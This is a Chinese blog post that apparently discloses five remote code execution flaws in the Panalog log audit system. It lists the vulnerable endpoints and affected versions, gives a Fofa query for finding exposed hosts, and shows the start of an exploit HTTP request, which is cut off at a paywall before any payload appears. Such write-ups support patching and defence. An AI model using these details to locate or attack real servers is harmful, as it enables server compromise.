Panalog 日志审计系统五处RCE漏洞

最新推荐文章于 2024-07-23 15:37:29 发布

今天晚上早睡觉

最新推荐文章于 2024-07-23 15:37:29 发布

阅读量49

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136565373

版权

漏洞复现专栏收录该内容

361 篇文章 129 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

简介

Panalog是一款日志审计系统,方便用户统一集中监控、管理在网的海量设备。

漏洞描述

Panalog 日志审计系统 libres_syn_delete.php、/sessiptbl.php、/account/sy_addmount.php、/account/sy_query.php、mailcious_down_fornode.php接口处存在RCE漏洞，恶意攻击者可能会利用此漏洞执行恶意代码，最终导致服务器失陷。

影响范围

version <= MARS r10p1Free
Fofa:

app="Panabit-Panalog"

libres_syn_delete.php接口漏洞复现

POST /content-apply/libres_syn_delete.php HTTP/1.1
Host: 
Cookie: PHPSESSID=tthu6vmem0toqq4ujvt00bf2q3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Re

了解本专栏